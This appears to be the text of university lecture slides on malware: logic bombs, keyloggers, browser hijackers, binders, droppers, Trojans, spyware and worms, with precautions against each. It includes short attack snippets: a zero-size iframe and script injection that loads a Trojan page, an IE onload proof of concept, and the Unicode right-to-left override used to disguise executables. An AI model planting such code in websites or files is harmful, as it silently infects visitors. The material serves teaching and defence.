1

The Attack and Defense of

Computers

Dr. 許 富 皓

2

Malware

3

Malicious Software (Malware): Security tools and toolkits Back doors (trap doors) Logic bombs Viruses Worms Binders Droppers Trojan Horses Browser Hijacker Spyware Rootkit URL Injection …

4

Security Tools and toolkits Automatically scan for computer security

weaknesses. Can be used by both security professionals and

attackers. e.g. Nessus, COPS, ISS, Tiger, … and so on.

Unwittingly release reports to the public

There are also programs and tool sets whose only function is to attack computers. Script kids

P.S. These tools may damage the systems that install them or may contain booby-trap that will compromise the systems that install them.

5

Logic Bombs

A logic bomb is a piece of code intentionally inserted into a software system that will set off a malicious function when specified conditions are met. For example, a programmer may hide a piece

of code that starts deleting files, should he ever leave the company (and the salary database).

Usually written by inner programmers.

6

Logic Bombs and Viruses and Worms

Software that is inherently malicious, such as viruses and worms, often contain logic bombs that execute a certain payload at a pre-defined time

or when some other condition is met.

Many viruses attack their host systems on specific dates, such as Friday the 13th or April Fool's Day.

Trojans that activate on certain dates are often called "time bombs".

7

Key Logger

A program or hardware device that captures every key depression on the computer.

Also known as "Keystroke Cops," they are used to monitor a user's activities by recording every keystroke the user makes, including typos, backspacing, and retyping.

8

Security Concerns about Key Loggers

Keystroke logging can be achieved by both hardware and software means.

There is no easy way to prevent keylogging software being installed on your PC, as it is usually done by a method of stealth.

If you are using a home PC, then it is likely to be free on any keystroke logging hardware (but remember there may be keystroke logging software).

9

Precautions against Key Loggers

Try and avoid typing private details on public PCs,

Always try and avoid visiting sites on public PCs that require you to enter your login details, e.g. an online banking account.

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Example

Ardamax Keylogger [1]

11

URL Injection

Change the URL submitted to a server belonging to some or all domains.

12

Browser Hijacker

Browser Hijacker [Rouse]

A browser hijacker (sometimes called hijackware) is a type of malware program that alters your computer's browser settings so that you are redirected to Web sites that you had no intention of visiting.

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Symptoms of Browser Hijackers (1) [Khanse]

Home page is changed Default search engine is changed You can’t navigate to certain web pages

like home pages of security software You get re-directed to pages you never

intended to visit

15

Symptoms of Browser Hijackers (2)

You see ads or ads pop up on your screen. But these ads are not served by the website

You see new toolbars added You see new Bookmarks or Favorites

added. Your web browser starts running

sluggishly.

Infection of Browser Hijackers [

Rouse]

A browser hijacker may be installed as part of freeware installation.

A browser hijacker may also be installed without user permission, as the result of an infected e-mail, a file share, or a drive-by download. 

16

Redirection [PCSTATS]

As well as making changes to your home page and other IE settings, a hijacker may also make entries to the hosts file on your system.

This special file directly maps DNS addresses (web URLs) to IP addresses, so every time you typed certain URLs you might be redirected to the IP address of a sponsored search or porn site instead.

17

Absolute File Name of file hosts

C:\WINDOWS\SYSTEM32\drivers\etc\hosts

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Self-Protection Mechanisms of Browser Hijackers [PCSTATS]

These programs often use a combination of hidden files and registry settings to reinstall themselves after removal, so deleting them or changing your IE settings back may well not work.

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20

Add-on

Add-on [stackoverflow]

Add-on: essentially anything that can be installed into the browser.

This includes for example extensions themesplug-insdictionaries language packssearch engines. 21

Terminologies [alex301]

plug-in = 指那些需編譯成執行檔，用以提供瀏覽器額外功能的東西。

extension = 使用瀏覽器支援的程式語法，用來改變瀏覽器功能與操作的東西。

theme = 使用瀏覽器支援的程式語法，用來改變瀏覽器外觀介面的東西。

addon = plugin +extension + theme = 總稱所有瀏覽器本體之外，用來改變瀏覽器的東西。

22

Browser Plug-in [mozillazine]

Plug-ins add new functionality to an application, such as viewing special graphical formats

orplaying multimedia content in a web browser.

Plug-ins also differ from extensions, which modify or add to existing functionality.

23

Browser Plug-in [wikipedia]

Plug-ins add specific abilities into browsers using application programming interfaces (APIs) allowing third parties to create plug-ins that interact with the browser.

The original API was NPAPI, but subsequently Google introduced the PPAPI interface in Chrome.

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General Plug-in Framework [wikipedia]

25

General Plug-in Mechanism [wikipedia]

A host application provides services which the plug-in can use, including a way for plug-ins to register themselves with the host application and a protocol for the exchange of data with plug-ins.

26

Uses of Browser Plug-ins

Common uses of plug-ins on the web include displaying video in the browser, games,

and music playback.

Widely used plug-ins include Java, Flash, Quicktime, and Adobe Reader.

27

Browser Plug-in Form

A plug-in in the context of Mozilla-based applications is a binary component that, when registered with a browser, can display content that the browser itself cannot display natively.

28

Extension [wikipedia 1] [wikipedia 2]

Extensions can be used to modify the behavior of existing features to an

application

or add entirely new features. 

Therefore, after integration, extensions can be seen as part of the browser itself, tailored from a set of optional modules.

29

Extension technologies (1) [wikipedia]

CSS (Cascading Style Sheets) DOM (Document Object Model) – Used to

change XUL in real-time or to edit HTML that is currently loaded

JavaScript – The primary language of Mozilla browsers

XPCOM (Cross-Platform Component Object Model)

30

Extension technologies (2) [wikipedia]

XPConnect XPI (Cross-Platform Installer) XUL (XML User Interface Language) –

Used to define the UI (User Interface) and interaction with user.

Mozilla Jetpack – a development kit aiming to lower the learning curve and development time for making add-ons

31

IE Extension [ivy]

Internet Explorer->Tools->Manage Addons

32

Mozilla Firefox [ivy]

 Mozilla Firefox->Tools->Add-ons->Extensions

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Google Chrome [ivy]

 Google Chrome->Wrench Icon->Tools->Extensions

34

Browser Toolbar[wikipedia]

A browser toolbar is a toolbar that resides within a browser's window.

All major web browsers provide support to browser toolbar development as a way to extend the browser's GUI and functionality.

Browser toolbars are considered to be a particular kind of browser extensions that present a toolbar. 

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Binder [CA]

37

Definition of Binder 

A tool that combines two or more files into a single file, usually for the purpose of hiding one of them.

A binder compiles the list of files that you select into one host file, which you can rename. A host file is a simple custom compiled program that will

decompress and launch the embedded programs. When you start the host, the embedded files in it are

automatically decompressed and launched.

38

Example

When a piece of malware is bound with Notepad, for instance, the result will appear to be Notepad, and appear to run like Notepad, but the piece of malware will also be run.

39

Program

YAB: Yet Another BinderUser Guide

40

Embedded Files

The files embedded in a host file is not always a binary file. It can be a file of any type.

Even an embedded file is a binary file, it may be a normal program.

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Dropper [Wikipedia]

42

Definition of a Dropper

A dropper is a program (malware component) that has been designed to "install" some sort of malware (virus, backdoor, etc) to a target system. Single stage: the malware code can be

contained within the dropper in such a way as to avoid detection by virus scanners

Two stages: the dropper may download the malware to the target machine once activated

43

Types of Droppers

Depending on how a dropper is executed, there are two major types of droppers: those that do not require user interaction

perform through the exploitation of a system by some vulnerability

those that require user interaction by convincing the user that it is some legitimate or benign program.

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Trojan Horse [Wikipedia]

45

Trojan Horse

In the context of computer software, a Trojan horse is a malicious program that is disguised as or embedded within legitimate software.

Trojans use false and fake names to trick users into executing them. These strategies are often collectively termed social

engineering. A Trojan is designed to operate with functions unknown

to the victim. The useful, or seemingly useful, functions serve as

camouflage for these undesired functions.

46

Properties of Trojan Horses Trojan horse programs cannot operate autonomously, in

contrast to some other types of malware, like worms. Just as the Greeks needed the Trojans to bring the horse

inside for their plan to work, Trojan horse programs depend on actions by the intended victims if Trojans replicate and even distribute themselves, each new

victim must run the program/Trojan. Due to the above reasons Trojan horses’ virulence

depends on successful implementation of social engineering concepts

but doesn’t depend on the flaws in a computer system's security design or configuration.

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Categories of Trojan Horses

There are two common types of Trojan horses: a useful software that has been corrupted by a

cracker inserting malicious code that executes while the program is used.

Examples include various implementations of weather alerting programs computer clock setting software peer to peer file sharing utilities.

a standalone program that masquerades as something else, like a game or image file (e.g. firework.jpg.exe in Windows.

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Malware Parasitizes inside Trojan Horses

In practice, Trojan Horses in the wild often contain: spying functions (such as a packet sniffer) backdoor functions that allow a computer, unbeknownst

to the owner, to be remotely controlled from the network, creating a zombie computer.

The Sony/BMG rootkit Trojan, distributed on millions of music CDs through 2005, did both of these things.

Because Trojan horses often have these harmful behaviors, there often arises the misunderstanding that such functions define a Trojan Horse.

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Example of a Simple Trojan Horse

A simple example of a Trojan horse would be a program named waterfalls.jpg.exe claiming to be a free waterfall picture which, when run, instead begins erasing all the files on the computer.

50

E-Mail Trojan Horses On the Microsoft Windows platform, an attacker might

attach a Trojan horse with an innocent-looking filename to an email message which entices the recipient into opening the file.

The Trojan horse itself would typically be a Windows executable program file, and thus must have an executable filename extension such as .exe, .com, .scr, .bat, or .pif. Since Windows is sometimes configured by default to hide

filename extensions from a user, the Trojan horse has an extension that might be "masked" by giving it a name such as Readme.txt.exe.

With file extensions hidden, the user would only see Readme.txt and could mistake it for a harmless text file.

Icons can also be chosen to imitate the icon associated with a different and benign program, or file type.

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Unicode 控制字元 202E 副檔名欺騙 [ 劉昱賢][1]

該手法係利用作業系統解讀檔案名稱時，若遇到 Unicode控制字元，會改變檔案名稱的顯示方式進行攻擊。 attacker可以在檔案名稱中，插入特定的Unicode控制字元，導致作業系統在顯示該檔案名稱時，誤導使用者。

大師兄 [202E]gpj.exe

其中括號內為 Unicode 控制字元 202E ，該控制碼為不可視字元，可控制後續字元由右至左顯示 (Right To Left Override) 。

當作業系統解譯與顯示檔案名稱時，會將其顯示為：

大師兄 exe.jpg

real filename

displayed filename

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Unicode 控制字元 202E 副檔名欺騙 [ 劉昱賢]

53

Commonly Used Methods of Infection

E-mails. Downloaded Files.

54

Emails and Trojan Horses The majority of Trojan horse infections occur

because the user was tricked into running an infected program.

This is why you're not supposed to open unexpected attachments on emails -- the program is often a cute animation or a sexy picture, but behind the scenes it infects the computer with a Trojan or virus.

55

Downloaded Files

The infected program doesn't have to arrive via email, though; it can be sent to you in an Instant Message downloaded from a Web site or by FTPdelivered on a CD or floppy disk

56

Precautions against Trojan Horses (1) Trojan Horses are commonly spread through an e-

mail, much like other types of common viruses. The best ways to protect yourself and your

company from Trojan Horses are as follows: If you receive e-mail from someone that you do not

know or you receive an unknown attachment never open it right away.

As an e-mail user you should confirm the source. P.S.: Some hackers have the ability to steal an address books

so if you see e-mail from someone you know that does not necessarily make it safe.

57

Precautions against Trojan Horses (2)

When setting up your e-mail client make sure that you have the settings so that attachments do not open automatically.

Some e-mail clients come ready with an anti-virus program that scans any attachments before they are opened.

If your client does not come with this it would be best to purchase one or download one for free.

Make sure your computer has an anti-virus program on it and make sure you update it regularly.

If you have an auto-update option included in your anti-virus program you should turn it on, that way if you forget to update your software you can still be protected from threats

58

Precautions against Trojan Horses (3) Avoid using peer-2-peer or P2P sharing networks like

Kazaa, Limewire, Ares, or Gnutella because1) those programs are generally unprotected from Trojan Horses 2) Trojan Horses are especially easy to spread through these programs

Some of these programs do offer some virus protection but often they are not strong enough.

59

Precautions against Trojan Horses (4)

NEVER download blindly from people or sites which you aren’t 100% sure about. However, legal web sites may be comprised by attackers who may

modify web pages to contain scripts to download malware. Even if the file comes form a friend, you still must be sure

what the file is before opening it. Ask your friend whether she/he sent the files to you.

Beware of hidden file extensions (Under Windows susie.jpg.exe is only shown as susie.jpg)

Never user features in your programs that automatically get or preview files (outlook, preview mode ).

Never blindly type commands that others tell you to type, or go to the web site mentioned by strangers.

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Well-known Trojan Horses Back Orifice Back Orifice 2000 Beast Trojan NetBus SubSeven Downloader-EV Pest Trap flooder Tagasaurus Vundo trojan Gromozon Trojan

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List of Trojan Horses

http://en.wikipedia.org/wiki/List_of_trojan_horses

網頁掛馬 [ 趨勢科技 ]

62

Definition[ 趨勢科技 ] [fanli7]

「網頁掛馬」又稱為網頁隱藏式惡意連結。 攻擊者會先針對某個漏洞 ( 通常是

Windows 或 IE 的漏洞 ) 設計出一個特殊的網頁 ( 也就是木馬網頁 ) ，當被攻擊的一般使用者瀏覽這個網頁，就會利用該漏洞無聲無息的趁機將惡意程式下載到被攻擊的電腦中然後運行。

63

64

Websites You can be infected by visiting a rogue

website. Internet Explorer is most often targeted by

makers of Trojans and other pests. Some of the IE bugs improperly handle data

(such as HTML or images) by executing it as a legitimate program.

Attackers who find such vulnerabilities can then specially craft a bit of malformed data so that it contains a valid program to do their bidding.

65

Features vs. Risks

The more "features" a web browser has, the higher your risk of having security holes that can be exploited by a Trojan horse. for example

ActiveX objects, some older versions of Flash Java

66

Example 1: Microsoft IE window()

Arbitrary Code Execution Vulnerability [Secunia] The vulnerability is caused due to certain objects not being

initialized correctly when the window() function is used in conjunction with the <body onload> event.

This can be exploited to execute arbitrary code on a vulnerable browser via some specially crafted JavaScript code called directly when a site has been loaded.

Example:<body onload="window();">

Successful exploitation requires that the user is e.g. tricked into visiting a malicious website.

PROOF OF CONCEPT

67

Explanation [Computer Terrorism]

68

<body onLoad= …> [HTML Code Tutorial]

The browser triggers onLoad when the document is finished loading.

The contents of onLoad is one or more JavaScript commands.

So, for example, the following <BODY ...> tag tells the browser to bring up an alert box once the page is completely loaded:

<BODY onLoad="alert('hello world!')">

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MS IE - Crash on JavaScript window()- calling (1) There is a bug in Microsoft Internet Explorer,

which causes a crash in it. The bug occurs, because Microsoft Internet

Explorer can't handle a call to a JavaScript-function with the name of the "window"-object.

An object used in Javascript.

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MS IE - Crash on JavaScript window()- calling (2) [symantic]

Internet Explorer fails to properly initialize the JavaScript `Window()' function. When the 'onLoad' handler is set to call the improperly initialized `Window()' function, the Web browser attempts to call the address 0x006F005B, which is derived from the Unicode representation of 'OBJECT'.CALL DWORD [ECX+8]

It is shown that JavaScript prompt boxes can be used by attackers to fill the memory region at 0x00600000 with attacker-supplied data, allowing executable machine code to be placed into the required address space.

1. Crash, if pointing to non-code.

2. Execution, if pointing to code.

71

Dangerous Web Site

The web site pointed by the following URL is one containing the trap described in the previous slides.

HTTP MSIE JavaScript OnLoad Rte CodeExec [symantic]

http://marc.theaimsgroup.com/?l=bugtraq&m=111746394106172&w=2

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Microsoft Outlook If you use Microsoft Outlook, you're

vulnerable to many of the same problems that Internet Explorer has, even if you don't use IE directly. The same vulnerabilities exist since Outlook

allows email to contain HTML and images

and actually uses much of the same code to process these

as Internet Explorer.

73

Example 2: Trojan Horse Exploits Image Flaw [Declan McCullagh et al.]

EasyNews, a provider of Usenet newsgroups, said it has identified two JPEG images that take advantage of a previously identified flaw ( a heap-based buffer overflow [Michael Cobb] ) in the way Microsoft software handles graphics files.

Windows users could have their computers infected merely by opening one of those Trojan horse images.

Attackers tried to use these JPEGs to download Trojan (horse programs) to vulnerable computers.

74

Example 3: Comprise a Web Server and Add Hidden Download Instructions in Web

Pages ( 網站掛馬 )

Create frame with size 0.

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網站掛馬語法 [OpenBlue]

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通常被利用[ 弱點 ][ SQL Injection ] 等

手法掛馬後，會在該網頁的 [ 第一行或最後一行中 ] 出現 [ 相關被掛馬語法 ] .

77

框架 (iframe) 掛馬 以下是部份語法：

<iframe src= 木馬網址 width=0 height=0></iframe>

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JScript 文件掛馬 首先將以下語法存檔為 xxx.js

document.write("<iframe width='0' height='0' src

=' 木馬網址 '></iframe>");

然後將此文件的 URL 利用各種方式上傳到目標處。For example, JScript 掛馬的語法為：

<script language=javascript src=xxx.js></script>

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Precautions against 掛馬

Operating systems offer patches to protect their users from certain threats and viruses, including Trojan Horses.

Software developers like Microsoft offer patches that in a sense “close the hole” that the Trojan horse or other virus would use to get through to your system.

If you keep your system updated with these patches your computer is kept much safer.

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Spyware [Wikipedia]

81

A Large Number of Toolbars, Some Added by Spyware, Overwhelm an IE Session

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Some Statistics about Spyware [A. Moshchuk et al. ]

[Webroot]

2005 A scan (2005) performed by AOL/NCSA of 329 customers’

computers found that 80% were infected with spyware programs.

Each infected computer contained an average of 93 spyware components.

2006: Despite the publicity about the dangers of spyware, infection

rates are on the rise. Webroot spyware scan data shows that 89 percent of consumer PCs are infected with spyware.

U.S. home computer users are infected with an average of 30 pieces of spyware on their PCs.

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Definition of Spyware Spyware is computer software that is

installed surreptitiously on a personal computer to monitor intercept

or take partial control over

the user's interaction with the computer, without the user's informed consent.

84

Activities of Spyware Spyware programs can

secretly monitor the user's behavior and then send this information to a hacker over the Internet

collect various types of personal information interfere with user control of the computer in

other ways, such as installing additional software redirecting Web browser activity diverting advertising revenue to a third party.

85

Spyware Funcions [A. Moshchuk et al. ]

86

Types of Information Collected by Spyware Spyware can collect many different types of

information about a user. More benign programs can

attempt to track what types of websites a user visits

and send this information to an advertisement agency.

More malicious versions can try to record what a user types to try to intercept passwords or credit card numbers.

87

OSes vs. Spyware

As of 2006, spyware has become one of the preeminent security threats to computer-systems running Microsoft Windows OSes.

Some malware on the Linux and Mac OS X platforms has behavior similar to Windows spyware, but to date has not become anywhere near as widespread.

88

Spyware Certification

The Spyware-Free Certification program evaluates software to ensure that the program does not install or execute any forms of malicious code.

89

Typical Tactics Adopted by Spyware

Delivery of unsolicited pop-up advertisements.Monitoring of Web-browsing activity for

marketing purposes.Theft of personal information

90

Adware (1) [wikipedia]

Adware, or advertising-supported software, is any software package which automatically plays, displays, or downloads advertisements to a computer.

These advertisements can be in the form of a pop-up.

They may also be in the user interface of the software or on a screen presented to the user during the installation process.

91

Adware (2) [wikipedia]

The object of the Adware is to generate revenue for its author.

Adware, by itself, is harmless; however, some adware may come with integrated spyware such as keyloggers and other privacy-invasive software.

92

Spyware and Pop-up Ads Spyware displays advertisements related to what it

finds from spying on you, not the ones posted by advertisers.

Claria Corporation's Gator Software and Exact Advertising's BargainBuddy provide examples of this sort of program.

Visited Web sites frequently install Gator on client machines in a surreptitious manner, and it directs revenue to the installing site and to Claria by displaying advertisements to the user.

The user experiences a large number of pop-up advertisements.

93

Pop-up Ads

Pop-up ads or popups are a form of online advertising on the World Wide Web.

It works when certain web pages open a new web browser window to display advertisements.

Creation of Pop-up Window

The pop-up window containing an advertisement is usually generated by JavaScript, but can be generated by other means as well.

<html>

<body>

<script>

window.open

('http://www.google.com', "google" ,

"width=700,height=500,toolbar=0,menubar=0,location=0,status=1,scrollbars=1,resizable=1,left=0,top=0");

</script>

</body>

</html>94

95

Pop-under Ads

A variation on the pop-up window is the pop-under advertisement. This opens a new browser window, behind the active window.

Pop-unders interrupt the user less, but are not seen until the desired windows are closed, making it more difficult for the user to determine which Web page opened them.

96

Dozens of Pop-up Ads Cover a Desktop.

97

Web Activity Monitor Spyware behavior, such as reporting on

websites the user visits, frequently accompany the displaying of advertisements.

Monitoring web activity aims at building up a marketing profile on users in order to sell "targeted" advertisement impressions.

98

Other Victims of Spyware The prevalence of spyware has cast

suspicion upon other programs that track Web browsing, even for statistical or research purposes. Some observers describe the Alexa Toolbar, an Internet Explorer plug-in published by Amazon.com, as spyware (and some anti-spyware programs report it as such) although many users choose to install it.

99

Identity Theft and Fraud Some spyware is closely associated with identity

theft. Spyware may transmit the following information to

attackers: chat sessions, user names, passwords, bank information, etc.

Spyware has principally become associated with identity theft in that keyloggers are routinely packaged with spyware. John Bambenek, who researches information security,

estimates that identity thieves have stolen over $24 billion US dollars of account information in the United States alone

100

Routes of Infection

101

Routes of Infection Spyware does not directly spread in the

manner of a computer virus or worm:generally, an infected system does not attempt

to transmit the infection to other computers. Instead, spyware gets on a system

through deception of the user

or through exploitation of software vulnerabilities.

102

Masquerade One way of distributing spyware

involves tricking users by manipulating security features designed to prevent unwanted installations.

103

Masquerade - Example The Internet Explorer Web browser, by design,

prevents websites from initiating an unwanted download.

Instead, a user action (such as clicking on a link) must normally trigger a download.

However, links can prove deceptive: For instance,

1. A pop-up ad may appear like a standard Windows dialog box.2. The box contains a message such as "Would you like to

optimize your Internet access?" with links which look like buttons reading Yes and No.

3. No matter which "button" the user presses, a download starts, placing the spyware on the user's system.

104

A Masquerade Example

Malicious websites may attempt to install spyware on readers' computers. In this screenshot a website has triggered a pop-up that offers

spyware in the guise of a security upgrade.

105

Bundled with Shareware Spyware can also come bundled with

shareware other downloadable software music CDs.

The user downloads a program (for instance, a music program or a file-trading utility) and installs it, and the installer additionally installs the spyware. Although the desirable software itself may do no harm, the bundled spyware does. In some cases, spyware authors have paid shareware

authors to bundle spyware with their software. In other cases, spyware authors have repackaged

desirable free software with installers that add spyware.

106

Bundled Shareware Example

The BearShare file-trading program, "supported" by WhenU spyware. In order to install BearShare, users must agree to install "the SAVE!

bundle" from WhenU. The installer provides only a tiny window in which to read the lengthy

license agreement. Although the installer claims otherwise, the software transmits users' browsing activity to WhenU servers.

107

Through Trojan Horse

Classically, a Trojan horse, by definition, smuggles in something dangerous in the guise of something desirable. Some spyware programs get spread in just this manner.

The distributor of spyware presents the program as a useful utility — for instance as a Web accelerator or as a helpful software agent.

Users download and install the software without immediately suspecting that it could cause harm.

108

Vulnerabilities in Web Browsers

Some spyware authors infect a system by attacking security holes in the Web browser or in other software.

When the user navigates to a Web page controlled by the spyware author, the page contains code which attacks the browser and forces the download and install of spyware.

Common browser exploits target security vulnerabilities in Internet Explorer and in the Microsoft Java runtime.

109

Notable Programs Distributed with Spyware Messenger Plus! (only if you agree to install their "sponsor" program) Bearshare Bonzi Buddy DAEMON Tools (only if you agree to install their "sponsor" program) DivX (except for the paid version, and the "standard" version without the

encoder). DivX announced removal of GAIN software from version 5.2. Dope Wars ErrorGuard FlashGet (free version) Grokster Kazaa Morpheus RadLight WeatherBug EDonkey2000

110

Worm

111

Worms

Worm spread themselves through proactively attacking programs with specific vulnerability.

Most frequently used attack approaches included buffer overflow attacks, format string attacks, integer overflow attacks, … and so on.

Morris Worm ,1988 Code Red, Slammer.

112

Comparisons between Viruses, Trojan Horses, and Worms The way they behave How are they triggered? How do they spread? Need host programs?